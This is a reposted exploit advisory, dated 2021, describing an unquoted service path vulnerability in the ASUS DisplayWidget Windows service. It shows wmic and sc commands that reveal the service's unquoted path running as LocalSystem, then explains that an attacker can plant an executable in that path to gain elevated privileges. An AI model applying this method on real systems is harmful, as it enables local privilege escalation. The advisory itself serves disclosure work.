Monday, July 12, 2021

ASUS DisplayWidget Software - 'ASUSDisplayWidgetService' Unquoted Service Path

# Exploit Title: ASUS DisplayWidget Software - 'ASUSDisplayWidgetService' Unquoted Service Path
# Date: 2021-06-21
# Exploit Author: Julio AviƱa
# Vendor Homepage:
# Software Link:
# Version:
# Service File Version
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%ASUSDisplayWidgetService%"' get displayname, pathname, startmode, startname

DisplayName                                      PathName                                                                        StartMode  StartName
ASUS DisplayWidget Service by Portrait Displays  C:\Program Files\Portrait Displays\ASUS DisplayWidget\DisplayWidgetService.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "ASUSDisplayWidgetService"
[SC] QueryServiceConfig CORRECTO

        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Portrait Displays\ASUS DisplayWidget\DisplayWidgetService.exe
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ASUS DisplayWidget Service by Portrait Displays
        DEPENDENCIAS       :

# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.

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Thanks for everything Templateism - You should have written the code a little more complicated